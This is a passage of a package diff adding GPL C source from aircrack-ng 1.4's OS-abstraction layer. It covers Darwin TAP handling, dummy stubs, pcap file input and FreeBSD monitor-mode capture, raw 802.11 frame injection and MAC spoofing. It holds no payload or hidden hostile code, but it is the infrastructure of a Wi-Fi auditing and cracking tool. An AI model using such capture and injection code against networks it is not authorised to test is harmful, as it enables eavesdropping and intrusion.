+#include <errno.h>
+#include <stdio.h>
+
+#include "osdep.h"
+
+struct wif * wi_open_osdep(char * iface)
+{
+	if (iface)
+	{
+	} /* XXX unused parameter */
+
+	errno = EOPNOTSUPP;
+	return NULL;
+}
+
+EXPORT int get_battery_state(void)
+{
+	errno = EOPNOTSUPP;
+	return -1;
+}
+
+int create_tap(void)
+{
+	errno = EOPNOTSUPP;
+	return -1;
+}

aircrack-ng-1.4.tar.gz/src/aircrack-osdep/darwin_tap.c Added

@@ -0,0 +1,239 @@
+/*
+  *  Copyright (c) 2009, Kyle Fuller <inbox@kylefuller.co.uk>, based upon
+  *  freebsd_tap.c by Andrea Bittau <a.bittau@cs.ucl.ac.uk>
+  *
+  *  OS dependent API for Darwin. TAP routines
+  *
+  *  This program is free software; you can redistribute it and/or modify
+  *  it under the terms of the GNU General Public License as published by
+  *  the Free Software Foundation; either version 2 of the License, or
+  *  (at your option) any later version.
+  *
+  *  This program is distributed in the hope that it will be useful,
+  *  but WITHOUT ANY WARRANTY; without even the implied warranty of
+  *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+  *  GNU General Public License for more details.
+  *
+  *  You should have received a copy of the GNU General Public License
+  *  along with this program; if not, write to the Free Software
+  *  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
+  */
+
+#include <sys/types.h>
+#include <sys/stat.h>
+#include <sys/ioctl.h>
+#include <sys/time.h>
+#include <sys/socket.h>
+#include <net/if.h>
+#include <fcntl.h>
+#include <stdlib.h>
+#include <unistd.h>
+#include <stdio.h>
+#include <string.h>
+
+#include "osdep.h"
+
+#define MAX_TAP_DEVS 16
+
+struct tip_darwin
+{
+	int tf_fd;
+	int tf_ioctls;
+	struct ifreq tf_ifr;
+	char tf_name[MAX_IFACE_NAME];
+	int tf_destroy;
+};
+
+static int ti_do_open_darwin(struct tif * ti, char * name)
+{
+	int fd = -1;
+	char iface[12];
+	struct stat st;
+	struct tip_darwin * priv = ti_priv(ti);
+	int s;
+	unsigned int flags;
+	struct ifreq * ifr;
+	int i;
+
+	/* open tap */
+	if (name)
+	{
+		fd = open(name, O_RDWR);
+	}
+	else
+	{
+		priv->tf_destroy = 1; /* we create, we destroy */
+
+		for (i = 0; i < MAX_TAP_DEVS; i++)
+		{
+			snprintf(iface, sizeof(iface), "/dev/tap%d", i);
+			fd = open(iface, O_RDWR);
+
+			if (fd != -1)
+			{
+				break;
+			}
+		}
+	}
+
+	if (fd == -1)
+	{
+		return -1;
+	}
+
+	/* get name */
+	if (fstat(fd, &st) == -1) goto err;
+	snprintf(priv->tf_name,
+			 sizeof(priv->tf_name) - 1,
+			 "%s",
+			 devname(st.st_rdev, S_IFCHR));
+
+	/* bring iface up */
+	s = socket(PF_INET, SOCK_DGRAM, 0);
+	if (s == -1) goto err;
+	priv->tf_ioctls = s;
+
+	/* get flags */
+	ifr = &priv->tf_ifr;
+	memset(ifr, 0, sizeof(*ifr));
+	snprintf(ifr->ifr_name, sizeof(ifr->ifr_name) - 1, "%s", priv->tf_name);
+	if (ioctl(s, SIOCGIFFLAGS, ifr) == -1) goto err2;
+	flags = (ifr->ifr_flags & 0xffff);
+
+	/* set flags */
+	flags |= IFF_UP;
+	ifr->ifr_flags = flags & 0xffff;
+
+	if (ioctl(s, SIOCSIFFLAGS, ifr) == -1) goto err2;
+
+	return fd;
+err:
+	/* XXX destroy */
+	close(fd);
+	return -1;
+err2:
+	close(s);
+	goto err;
+}
+
+static void ti_do_free(struct tif * ti)
+{
+	struct tip_darwin * priv = ti_priv(ti);
+
+	free(priv);
+	free(ti);
+}
+
+static void ti_destroy(struct tip_darwin * priv)
+{
+	ioctl(priv->tf_ioctls, SIOCIFDESTROY, &priv->tf_ifr);
+}
+
+static void ti_close_darwin(struct tif * ti)
+{
+	struct tip_darwin * priv = ti_priv(ti);
+
+	if (priv->tf_destroy) ti_destroy(priv);
+
+	close(priv->tf_fd);
+	close(priv->tf_ioctls);
+	ti_do_free(ti);
+}
+
+static char * ti_name_darwin(struct tif * ti)
+{
+	struct tip_darwin * priv = ti_priv(ti);
+
+	return priv->tf_name;
+}
+
+static int ti_set_mtu_darwin(struct tif * ti, int mtu)
+{
+	struct tip_darwin * priv = ti_priv(ti);
+
+	priv->tf_ifr.ifr_mtu = mtu;
+
+	return ioctl(priv->tf_ioctls, SIOCSIFMTU, &priv->tf_ifr);
+}
+
+static int ti_set_mac_darwin(struct tif * ti, unsigned char * mac)
+{
+	struct tip_darwin * priv = ti_priv(ti);
+	struct ifreq * ifr = &priv->tf_ifr;
+
+	ifr->ifr_addr.sa_family = AF_LINK;
+	ifr->ifr_addr.sa_len = 6;
+	memcpy(ifr->ifr_addr.sa_data, mac, 6);
+
+	return ioctl(priv->tf_ioctls, SIOCSIFLLADDR, ifr);
+}
+
+static int ti_set_ip_darwin(struct tif * ti, struct in_addr * ip)
+{
+	struct tip_darwin * priv = ti_priv(ti);
+	struct ifaliasreq ifra;
+	struct sockaddr_in * s_in;
+
+	/* assume same size */
+	memset(&ifra, 0, sizeof(ifra));
+	strcpy(ifra.ifra_name, priv->tf_ifr.ifr_name);
+
+	s_in = (struct sockaddr_in *) &ifra.ifra_addr;
+	s_in->sin_family = PF_INET;
+	s_in->sin_addr = *ip;
+	s_in->sin_len = sizeof(*s_in);
+
+	return ioctl(priv->tf_ioctls, SIOCAIFADDR, &ifra);
+}
+
+static int ti_fd_darwin(struct tif * ti)
+{
+	struct tip_darwin * priv = ti_priv(ti);
+
+	return priv->tf_fd;
+}
+
+static int ti_read_darwin(struct tif * ti, void * buf, int len)
+{
+	return read(ti_fd(ti), buf, len);
+}
+
+static int ti_write_darwin(struct tif * ti, void * buf, int len)
+{
+	return write(ti_fd(ti), buf, len);
+}
+
+static struct tif * ti_open_darwin(char * iface)
+{
+	struct tif * ti;
+	struct tip_darwin * priv;
+	int fd;
+
+	/* setup ti struct */
+	ti = ti_alloc(sizeof(*priv));
+	if (!ti) return NULL;
+	ti->ti_name = ti_name_darwin;
+	ti->ti_set_mtu = ti_set_mtu_darwin;
+	ti->ti_close = ti_close_darwin;
+	ti->ti_fd = ti_fd_darwin;
+	ti->ti_read = ti_read_darwin;
+	ti->ti_write = ti_write_darwin;
+	ti->ti_set_mac = ti_set_mac_darwin;
+	ti->ti_set_ip = ti_set_ip_darwin;
+
+	/* setup iface */
+	fd = ti_do_open_darwin(ti, iface);
+	if (fd == -1)
+	{
+		ti_do_free(ti);
+		return NULL;
+	}
+
+	/* setup private state */
+	priv = ti_priv(ti);
+	priv->tf_fd = fd;
+
+	return ti;
+}
+
+EXPORT struct tif * ti_open(char * iface) { return ti_open_darwin(iface); }

aircrack-ng-1.4.tar.gz/src/aircrack-osdep/dummy.c Added

@@ -0,0 +1,46 @@
+/*
+  *  Copyright (c) 2007, 2008, Andrea Bittau <a.bittau@cs.ucl.ac.uk>
+  *
+  *  OS dependent API for unsupported APIs.
+  *
+  *  This program is free software; you can redistribute it and/or modify
+  *  it under the terms of the GNU General Public License as published by
+  *  the Free Software Foundation; either version 2 of the License, or
+  *  (at your option) any later version.
+  *
+  *  This program is distributed in the hope that it will be useful,
+  *  but WITHOUT ANY WARRANTY; without even the implied warranty of
+  *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+  *  GNU General Public License for more details.
+  *
+  *  You should have received a copy of the GNU General Public License
+  *  along with this program; if not, write to the Free Software
+  *  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
+  */
+
+#include <errno.h>
+#include <stdio.h>
+
+#include "osdep.h"
+
+struct wif * wi_open_osdep(char * iface)
+{
+	if (iface)
+	{
+	} /* XXX unused parameter */
+
+	errno = EOPNOTSUPP;
+	return NULL;
+}
+
+EXPORT int get_battery_state(void)
+{
+	errno = EOPNOTSUPP;
+	return -1;
+}
+
+int create_tap(void)
+{
+	errno = EOPNOTSUPP;
+	return -1;
+}

aircrack-ng-1.4.tar.gz/src/aircrack-osdep/dummy_tap.c Added

@@ -0,0 +1,35 @@
+/*
+  *  Copyright (c) 2007, 2008, Andrea Bittau <a.bittau@cs.ucl.ac.uk>
+  *
+  *  OS dependent API for unsupported APIs. TAP routines
+  *
+  *  This program is free software; you can redistribute it and/or modify
+  *  it under the terms of the GNU General Public License as published by
+  *  the Free Software Foundation; either version 2 of the License, or
+  *  (at your option) any later version.
+  *
+  *  This program is distributed in the hope that it will be useful,
+  *  but WITHOUT ANY WARRANTY; without even the implied warranty of
+  *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+  *  GNU General Public License for more details.
+  *
+  *  You should have received a copy of the GNU General Public License
+  *  along with this program; if not, write to the Free Software
+  *  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
+  */
+
+#include <stdio.h>
+#include <stdlib.h>
+
+#include "osdep.h"
+
+static struct tif * ti_open_dummy(char * iface)
+{
+	if (iface)
+	{
+	} /* XXX unused parameter */
+
+	return NULL;
+}
+
+EXPORT struct tif * ti_open(char * iface) { return ti_open_dummy(iface); }

aircrack-ng-1.4.tar.gz/src/aircrack-osdep/file.c Added

@@ -0,0 +1,287 @@
+/*
+  *  Copyright (c) 2010 Andrea Bittau <bittau@cs.stanford.edu>
+  *
+  *  OS dependent API for using card via a pcap file.
+  *
+  *  This program is free software; you can redistribute it and/or modify
+  *  it under the terms of the GNU General Public License as published by
+  *  the Free Software Foundation; either version 2 of the License, or
+  *  (at your option) any later version.
+  *
+  *  This program is distributed in the hope that it will be useful,
+  *  but WITHOUT ANY WARRANTY; without even the implied warranty of
+  *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+  *  GNU General Public License for more details.
+  *
+  *  You should have received a copy of the GNU General Public License
+  *  along with this program; if not, write to the Free Software
+  *  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
+  */
+
+#include <sys/types.h>
+#include <sys/socket.h>
+#include <netinet/in.h>
+#include <arpa/inet.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <unistd.h>
+#include <assert.h>
+#include <sys/select.h>
+#include <errno.h>
+#include <fcntl.h>
+#include <err.h>
+
+#include "osdep.h"
+#include "pcap.h"
+#include "radiotap/radiotap_iter.h"
+
+struct priv_file
+{
+	int pf_fd;
+	int pf_chan;
+	int pf_rate;
+	int pf_dtl;
+	uint32_t pf_magic;
+	unsigned char pf_mac[6];
+};
+
+static int
+file_read(struct wif * wi, unsigned char * h80211, int len, struct rx_info * ri)
+{
+	struct priv_file * pf = wi_priv(wi);
+	struct pcap_pkthdr pkh;
+	int rc;
+	unsigned char buf[4096];
+	int off = 0;
+	struct ieee80211_radiotap_header * rh;
+	struct ieee80211_radiotap_iterator iter;
+
+	rc = read(pf->pf_fd, &pkh, sizeof(pkh));
+	if (rc != sizeof(pkh)) return -1;
+
+	if (pf->pf_magic == TCPDUMP_CIGAM)
+	{
+		pkh.caplen = ___my_swab32(pkh.caplen);
+		pkh.len = ___my_swab32(pkh.len);
+	}
+
+	if (pkh.caplen > sizeof(buf))
+	{
+		printf("Bad caplen %lu\n", (unsigned long) pkh.caplen);
+		return 0;
+	}
+
+	assert(pkh.caplen <= sizeof(buf));
+
+	rc = read(pf->pf_fd, buf, pkh.caplen);
+	if (rc != (int) pkh.caplen) return -1;
+
+	if (ri) memset(ri, 0, sizeof(*ri));
+
+	switch (pf->pf_dtl)
+	{
+		case LINKTYPE_IEEE802_11:
+			off = 0;
+			break;
+
+		case LINKTYPE_RADIOTAP_HDR:
+			rh = (struct ieee80211_radiotap_header *) buf;
+			off = le16_to_cpu(rh->it_len);
+
+			if (ieee80211_radiotap_iterator_init(&iter, rh, rc, NULL) < 0)
+				return -1;
+
+			while (ieee80211_radiotap_iterator_next(&iter) >= 0)
+			{
+				switch (iter.this_arg_index)
+				{
+					case IEEE80211_RADIOTAP_FLAGS:
+						if (*iter.this_arg & IEEE80211_RADIOTAP_F_FCS) rc -= 4;
+						break;
+				}
+			}
+			break;
+
+		case LINKTYPE_PRISM_HEADER:
+			if (buf[7] == 0x40)
+				off = 0x40;
+			else
+				off = le32_to_cpu(*(unsigned int *) (buf + 4));
+
+			rc -= 4;
+			break;
+
+		case LINKTYPE_PPI_HDR:
+			off = le16_to_cpu(*(unsigned short *) (buf + 2));
+
+			/* for a while Kismet logged broken PPI headers */
+			if (off == 24 && le16_to_cpu(*(unsigned short *) (buf + 8)) == 2)
+				off = 32;
+
+			break;
+
+		case LINKTYPE_ETHERNET:
+			printf("Ethernet packets\n");
+			return 0;
+
+		default:
+			errx(1, "Unknown DTL %d", pf->pf_dtl);
+			break;
+	}
+
+	rc -= off;
+	assert(rc >= 0);
+
+	if (off < 0 || rc < 0) return -1;
+
+	if (rc > len) rc = len;
+
+	memcpy(h80211, &buf[off], rc);
+
+	return rc;
+}
+
+static int file_get_mac(struct wif * wi, unsigned char * mac)
+{
+	struct priv_file * pn = wi_priv(wi);
+
+	memcpy(mac, pn->pf_mac, sizeof(pn->pf_mac));
+
+	return 0;
+}
+
+static int file_write(struct wif * wi,
+					  unsigned char * h80211,
+					  int len,
+					  struct tx_info * ti)
+{
+	struct priv_file * pn = wi_priv(wi);
+
+	if (h80211 && ti && pn)
+	{
+	}
+
+	return len;
+}
+
+static int file_set_channel(struct wif * wi, int chan)
+{
+	struct priv_file * pf = wi_priv(wi);
+
+	pf->pf_chan = chan;
+
+	return 0;
+}
+
+static int file_get_channel(struct wif * wi)
+{
+	struct priv_file * pf = wi_priv(wi);
+
+	return pf->pf_chan;
+}
+
+static int file_set_rate(struct wif * wi, int rate)
+{
+	struct priv_file * pf = wi_priv(wi);
+
+	pf->pf_rate = rate;
+
+	return 0;
+}
+
+static int file_get_rate(struct wif * wi)
+{
+	struct priv_file * pf = wi_priv(wi);
+
+	return pf->pf_rate;
+}
+
+static int file_get_monitor(struct wif * wi)
+{
+	if (wi)
+	{
+	}
+
+	return 1;
+}
+
+static void file_close(struct wif * wi)
+{
+	struct priv_file * pn = wi_priv(wi);
+
+	if (pn)
+	{
+		if (pn->pf_fd)
+		{
+			close(pn->pf_fd);
+		}
+		free(pn);
+	}
+
+	free(wi);
+}
+
+static int file_fd(struct wif * wi)
+{
+	struct priv_file * pf = wi_priv(wi);
+
+	return pf->pf_fd;
+}
+
+struct wif * file_open(char * iface)
+{
+	struct wif * wi;
+	struct priv_file * pf;
+	int fd;
+	struct pcap_file_header pfh;
+	int rc;
+
+	if (iface == NULL || strncmp(iface, "file://", 7) != 0) return NULL;
+
+	/* setup wi struct */
+	wi = wi_alloc(sizeof(*pf));
+	if (!wi) return NULL;
+
+	wi->wi_read = file_read;
+	wi->wi_write = file_write;
+	wi->wi_set_channel = file_set_channel;
+	wi->wi_get_channel = file_get_channel;
+	wi->wi_set_rate = file_set_rate;
+	wi->wi_get_rate = file_get_rate;
+	wi->wi_close = file_close;
+	wi->wi_fd = file_fd;
+	wi->wi_get_mac = file_get_mac;
+	wi->wi_get_monitor = file_get_monitor;
+
+	pf = wi_priv(wi);
+
+	fd = open(iface + 7, O_RDONLY);
+	if (fd == -1) err(1, "open()");
+
+	pf->pf_fd = fd;
+
+	if ((rc = read(fd, &pfh, sizeof(pfh))) != sizeof(pfh)) goto __err;
+
+	if (pfh.magic != TCPDUMP_MAGIC && pfh.magic != TCPDUMP_CIGAM) goto __err;
+
+	if (pfh.magic == TCPDUMP_CIGAM)
+	{
+		pfh.version_major = ___my_swab16(pfh.version_major);
+		pfh.version_minor = ___my_swab16(pfh.version_minor);
+		pfh.linktype = ___my_swab32(pfh.linktype);
+	}
+
+	if (pfh.version_major != PCAP_VERSION_MAJOR
+		|| pfh.version_minor != PCAP_VERSION_MINOR)
+		goto __err;
+
+	pf->pf_dtl = pfh.linktype;
+	pf->pf_magic = pfh.magic;
+
+	return wi;
+
+__err:
+	wi_close(wi);
+	return (struct wif *) -1;
+}

aircrack-ng-1.4.tar.gz/src/aircrack-osdep/freebsd.c Added

@@ -0,0 +1,641 @@
+/*
+  *  Copyright (c) 2007, 2008, Andrea Bittau <a.bittau@cs.ucl.ac.uk>
+  *
+  *  OS dependent API for FreeBSD.
+  *
+  *  This program is free software; you can redistribute it and/or modify
+  *  it under the terms of the GNU General Public License as published by
+  *  the Free Software Foundation; either version 2 of the License, or
+  *  (at your option) any later version.
+  *
+  *  This program is distributed in the hope that it will be useful,
+  *  but WITHOUT ANY WARRANTY; without even the implied warranty of
+  *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+  *  GNU General Public License for more details.
+  *
+  *  You should have received a copy of the GNU General Public License
+  *  along with this program; if not, write to the Free Software
+  *  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
+  */
+
+#include <sys/endian.h>
+#include <errno.h>
+#include <fcntl.h>
+#include <sys/types.h>
+#include <sys/sysctl.h>
+#include <net/bpf.h>
+#include <sys/socket.h>
+#include <net/if.h>
+#include <net/if_media.h>
+#include <sys/ioctl.h>
+#include <net/if_dl.h>
+#ifdef __DragonFly__
+#include <netproto/802_11/ieee80211_ioctl.h>
+#include <netproto/802_11/ieee80211_radiotap.h>
+#include <netproto/802_11/ieee80211_dragonfly.h>
+#else
+#include <net80211/ieee80211_ioctl.h>
+#include <net80211/ieee80211_radiotap.h>
+#include <net80211/ieee80211_freebsd.h>
+#endif
+#include <stdio.h>
+#include <stdlib.h>
+#include <unistd.h>
+#include <string.h>
+#include <sys/uio.h>
+#include <assert.h>
+#include <ifaddrs.h>
+
+#include "osdep.h"
+
+struct priv_fbsd
+{
+	/* iface */
+	int pf_fd;
+
+	/* rx */
+	int pf_nocrc;
+
+	/* tx */
+	unsigned char pf_buf[4096];
+	unsigned char * pf_next;
+	int pf_totlen;
+	struct ieee80211_bpf_params pf_txparams;
+
+	/* setchan */
+	int pf_s;
+	struct ifreq pf_ifr;
+	struct ieee80211req pf_ireq;
+	int pf_chan;
+};
+
+/* from ifconfig */
+static __inline int mapgsm(u_int freq, u_int flags)
+{
+	freq *= 10;
+	if (flags & IEEE80211_CHAN_QUARTER)
+		freq += 5;
+	else if (flags & IEEE80211_CHAN_HALF)
+		freq += 10;
+	else
+		freq += 20;
+	/* NB: there is no 907/20 wide but leave room */
+	return (freq - 906 * 10) / 5;
+}
+
+static __inline int mappsb(u_int freq)
+{
+	return 37 + ((freq * 10) + ((freq % 5) == 2 ? 5 : 0) - 49400) / 5;
+}
+
+/*
+ * Convert MHz frequency to IEEE channel number.
+ */
+static u_int ieee80211_mhz2ieee(u_int freq, u_int flags)
+{
+	if ((flags & IEEE80211_CHAN_GSM) || (907 <= freq && freq <= 922))
+		return mapgsm(freq, flags);
+	if (freq == 2484) return 14;
+	if (freq < 2484) return (freq - 2407) / 5;
+	if (freq < 5000)
+	{
+		if (flags & (IEEE80211_CHAN_HALF | IEEE80211_CHAN_QUARTER))
+			return mappsb(freq);
+		else if (freq > 4900)
+			return (freq - 4000) / 5;
+		else
+			return 15 + ((freq - 2512) / 20);
+	}
+	return (freq - 5000) / 5;
+}
+/* end of ifconfig */
+
+static void get_radiotap_info(struct priv_fbsd * pf,
+							  struct ieee80211_radiotap_header * rth,
+							  int * plen,
+							  struct rx_info * ri)
+{
+	uint32_t present;
+	uint8_t rflags = 0;
+	int i;
+	unsigned char * body = (unsigned char *) (rth + 1);
+	int dbm_power = 0, db_power = 0;
+
+	/* reset control info */
+	if (ri) memset(ri, 0, sizeof(*ri));
+
+	/* get info */
+	present = le32toh(rth->it_present);
+	for (i = IEEE80211_RADIOTAP_TSFT; i <= IEEE80211_RADIOTAP_EXT; i++)
+	{
+		if (!(present & (1 << i))) continue;
+
+		switch (i)
+		{
+			case IEEE80211_RADIOTAP_TSFT:
+				body += sizeof(uint64_t);
+				break;
+
+			case IEEE80211_RADIOTAP_FLAGS:
+				rflags = *((uint8_t *) body);
+			/* fall through */
+			case IEEE80211_RADIOTAP_RATE:
+				body += sizeof(uint8_t);
+				break;
+
+			case IEEE80211_RADIOTAP_CHANNEL:
+				if (ri)
+				{
+					uint16_t * p = (uint16_t *) body;
+					int c = ieee80211_mhz2ieee(*p, *(p + 1));
+
+					ri->ri_channel = c;
+				}
+				body += sizeof(uint16_t) * 2;
+				break;
+
+			case IEEE80211_RADIOTAP_FHSS:
+				body += sizeof(uint16_t);
+				break;
+
+			case IEEE80211_RADIOTAP_DBM_ANTSIGNAL:
+				dbm_power = *body++;
+				break;
+
+			case IEEE80211_RADIOTAP_DBM_ANTNOISE:
+				dbm_power -= *body++;
+				break;
+
+			case IEEE80211_RADIOTAP_DB_ANTSIGNAL:
+				db_power = *body++;
+				break;
+
+			case IEEE80211_RADIOTAP_DB_ANTNOISE:
+				db_power -= *body++;
+				break;
+
+			default:
+				i = IEEE80211_RADIOTAP_EXT + 1;
+				break;
+		}
+	}
+
+	/* set power */
+	if (ri)
+	{
+		if (dbm_power)
+			ri->ri_power = dbm_power;
+		else
+			ri->ri_power = db_power;
+	}
+
+	/* XXX cache; drivers won't change this per-packet */
+	/* check if FCS/CRC is included in packet */
+	if (pf->pf_nocrc || (rflags & IEEE80211_RADIOTAP_F_FCS))
+	{
+		*plen -= IEEE80211_CRC_LEN;
+		pf->pf_nocrc = 1;
+	}
+}
+
+static unsigned char *
+get_80211(struct priv_fbsd * pf, int * plen, struct rx_info * ri)
+{
+	struct bpf_hdr * bpfh;
+	struct ieee80211_radiotap_header * rth;
+	void * ptr;
+	unsigned char ** data;
+	int * totlen;
+
+	data = &pf->pf_next;
+	totlen = &pf->pf_totlen;
+	assert(*totlen);
+
+	/* bpf hdr */
+	bpfh = (struct bpf_hdr *) (*data);
+	assert(bpfh->bh_caplen == bpfh->bh_datalen); /* XXX */
+	*totlen -= bpfh->bh_hdrlen;
+
+	/* check if more packets */
+	if ((int) bpfh->bh_caplen < *totlen)
+	{
+		int tot = bpfh->bh_hdrlen + bpfh->bh_caplen;
+		int offset = BPF_WORDALIGN(tot);
+
+		*data = (unsigned char *) bpfh + offset;
+		*totlen -= offset - tot; /* take into account align bytes */
+	}
+	else if ((int) bpfh->bh_caplen > *totlen)
+		abort();
+
+	*plen = bpfh->bh_caplen;
+	*totlen -= bpfh->bh_caplen;
+	assert(*totlen >= 0);
+
+	/* radiotap */
+	rth = (struct ieee80211_radiotap_header *) ((char *) bpfh
+												+ bpfh->bh_hdrlen);
+	get_radiotap_info(pf, rth, plen, ri);
+	*plen -= rth->it_len;
+	assert(*plen > 0);
+
+	/* data */
+	ptr = (char *) rth + rth->it_len;
+
+	return ptr;
+}
+
+static int fbsd_get_channel(struct wif * wi)
+{
+	struct priv_fbsd * pf = wi_priv(wi);
+
+	if (ioctl(pf->pf_s, SIOCG80211, &pf->pf_ireq) != 0) return -1;
+
+	return pf->pf_ireq.i_val;
+}
+
+static int
+fbsd_read(struct wif * wi, unsigned char * h80211, int len, struct rx_info * ri)
+{
+	struct priv_fbsd * pf = wi_priv(wi);
+	unsigned char * wh;
+	int plen;
+
+	assert(len > 0);
+
+	/* need to read more */
+	if (pf->pf_totlen == 0)
+	{
+		pf->pf_totlen = read(pf->pf_fd, pf->pf_buf, sizeof(pf->pf_buf));
+		if (pf->pf_totlen == -1)
+		{
+			pf->pf_totlen = 0;
+			return -1;
+		}
+		pf->pf_next = pf->pf_buf;
+	}
+
+	/* read 802.11 packet */
+	wh = get_80211(pf, &plen, ri);
+	if (plen > len) plen = len;
+	assert(plen > 0);
+	memcpy(h80211, wh, plen);
+
+	if (ri && !ri->ri_channel) ri->ri_channel = wi_get_channel(wi);
+
+	return plen;
+}
+
+static int fbsd_write(struct wif * wi,
+					  unsigned char * h80211,
+					  int len,
+					  struct tx_info * ti)
+{
+	struct iovec iov[2];
+	struct priv_fbsd * pf = wi_priv(wi);
+	int rc;
+
+	/* XXX make use of ti */
+	if (ti)
+	{
+	}
+
+	iov[0].iov_base = &pf->pf_txparams;
+	iov[0].iov_len = pf->pf_txparams.ibp_len;
+
+	iov[1].iov_base = h80211;
+	iov[1].iov_len = len;
+
+	rc = writev(pf->pf_fd, iov, 2);
+	if (rc == -1) return rc;
+	if (rc < (int) iov[0].iov_len) return 0;
+
+	return rc - iov[0].iov_len;
+}
+
+static int fbsd_set_channel(struct wif * wi, int chan)
+{
+	struct priv_fbsd * pf = wi_priv(wi);
+
+	pf->pf_ireq.i_val = chan;
+	if (ioctl(pf->pf_s, SIOCS80211, &pf->pf_ireq) != 0) return -1;
+
+	pf->pf_chan = chan;
+	return 0;
+}
+
+static void do_free(struct wif * wi)
+{
+	assert(wi->wi_priv);
+	free(wi->wi_priv);
+	wi->wi_priv = 0;
+	free(wi);
+}
+
+static void fbsd_close(struct wif * wi)
+{
+	struct priv_fbsd * pf = wi_priv(wi);
+
+	close(pf->pf_fd);
+	close(pf->pf_s);
+	do_free(wi);
+}
+
+static int do_fbsd_open(struct wif * wi, char * iface)
+{
+	int i;
+	char buf[64];
+	int fd = -1;
+	struct ifreq ifr;
+	unsigned int dlt = DLT_IEEE802_11_RADIO;
+	int s;
+	unsigned int flags;
+	struct ifmediareq ifmr;
+	int * mwords;
+	struct priv_fbsd * pf = wi_priv(wi);
+
+	/* basic sanity check */
+	if (strlen(iface) >= sizeof(ifr.ifr_name)) return -1;
+
+	/* open wifi */
+	s = socket(PF_INET, SOCK_DGRAM, 0);
+	if (s == -1) return -1;
+	pf->pf_s = s;
+
+	/* set iface up and promisc */
+	memset(&ifr, 0, sizeof(ifr));
+	strcpy(ifr.ifr_name, iface);
+	if (ioctl(s, SIOCGIFFLAGS, &ifr) == -1) goto close_sock;
+
+	flags = (ifr.ifr_flags & 0xffff) | (ifr.ifr_flagshigh << 16);
+	flags |= IFF_UP | IFF_PPROMISC;
+	memset(&ifr, 0, sizeof(ifr));
+	strcpy(ifr.ifr_name, iface);
+	ifr.ifr_flags = flags & 0xffff;
+	ifr.ifr_flagshigh = flags >> 16;
+	if (ioctl(s, SIOCSIFFLAGS, &ifr) == -1) goto close_sock;
+
+	/* monitor mode */
+	memset(&ifmr, 0, sizeof(ifmr));
+	strcpy(ifmr.ifm_name, iface);
+	if (ioctl(s, SIOCGIFMEDIA, &ifmr) == -1) goto close_sock;
+
+	assert(ifmr.ifm_count != 0);
+
+	mwords = (int *) malloc(ifmr.ifm_count * sizeof(int));
+	if (!mwords) goto close_sock;
+	ifmr.ifm_ulist = mwords;
+	if (ioctl(s, SIOCGIFMEDIA, &ifmr) == -1)
+	{
+		free(mwords);
+		goto close_sock;
+	}
+	free(mwords);
+
+	memset(&ifr, 0, sizeof(ifr));
+	strcpy(ifr.ifr_name, iface);
+	ifr.ifr_media = ifmr.ifm_current;
+	if (ioctl(s, SIOCSIFMEDIA, &ifr) == -1) goto close_sock;
+
+	/* setup ifreq for chan that may be used in future */
+	strcpy(pf->pf_ireq.i_name, iface);
+	pf->pf_ireq.i_type = IEEE80211_IOC_CHANNEL;
+
+	/* same for ifreq [mac addr] */
+	strcpy(pf->pf_ifr.ifr_name, iface);
+
+	/* open bpf */
+	for (i = 0; i < 256; i++)
+	{
+		sprintf(buf, "/dev/bpf%d", i);
+
+		fd = open(buf, O_RDWR);
+		if (fd < 0)
+		{
+			if (errno != EBUSY) return -1;
+			continue;
+		}
+		else
+			break;
+	}
+
+	if (fd < 0) goto close_sock;
+
+	strcpy(ifr.ifr_name, iface);
+
+	if (ioctl(fd, BIOCSETIF, &ifr) < 0) goto close_bpf;
+
+	if (ioctl(fd, BIOCSDLT, &dlt) < 0) goto close_bpf;
+
+	dlt = 1;
+	if (ioctl(fd, BIOCIMMEDIATE, &dlt) == -1) goto close_bpf;
+
+	return fd;
+
+close_sock:
+	close(s);
+	return -1;
+close_bpf:
+	close(fd);
+	goto close_sock;
+}
+
+static int fbsd_fd(struct wif * wi)
+{
+	struct priv_fbsd * pf = wi_priv(wi);
+
+	return pf->pf_fd;
+}
+
+static int fbsd_get_mac(struct wif * wi, unsigned char * mac)
+{
+	struct ifaddrs *ifa, *p;
+	char * name = wi_get_ifname(wi);
+	int rc = -1;
+	struct sockaddr_dl * sdp;
+
+	if (getifaddrs(&ifa) == -1) return -1;
+
+	p = ifa;
+	while (p)
+	{
+		if (p->ifa_addr->sa_family == AF_LINK && strcmp(name, p->ifa_name) == 0)
+		{
+
+			sdp = (struct sockaddr_dl *) p->ifa_addr;
+			memcpy(mac, sdp->sdl_data + sdp->sdl_nlen, 6);
+			rc = 0;
+			break;
+		}
+
+		p = p->ifa_next;
+	}
+	freeifaddrs(ifa);
+
+	return rc;
+}
+
+static int fbsd_get_monitor(struct wif * wi)
+{
+	if (wi)
+	{
+	} /* XXX unused */
+
+	/* XXX */
+	return 0;
+}
+
+static int fbsd_get_rate(struct wif * wi)
+{
+	if (wi)
+	{
+	} /* XXX unused */
+
+	/* XXX */
+	return 1000000;
+}
+
+static int fbsd_set_rate(struct wif * wi, int rate)
+{
+	if (wi || rate)
+	{
+	} /* XXX unused */
+
+	/* XXX */
+	return 0;
+}
+
+static int fbsd_set_mac(struct wif * wi, unsigned char * mac)
+{
+	struct priv_fbsd * priv = wi_priv(wi);
+	struct ifreq * ifr = &priv->pf_ifr;
+
+	ifr->ifr_addr.sa_family = AF_LINK;
+	ifr->ifr_addr.sa_len = 6;
+	memcpy(ifr->ifr_addr.sa_data, mac, 6);
+
+	return ioctl(priv->pf_s, SIOCSIFLLADDR, ifr);
+}
+
+static int fbsd_set_mtu(struct wif * wi, int mtu)
+{
+	struct priv_fbsd * priv = wi_priv(wi);
+	struct ifreq * ifr = &priv->pf_ifr;
+
+	memset(ifr, 0, sizeof(struct ifreq));
+
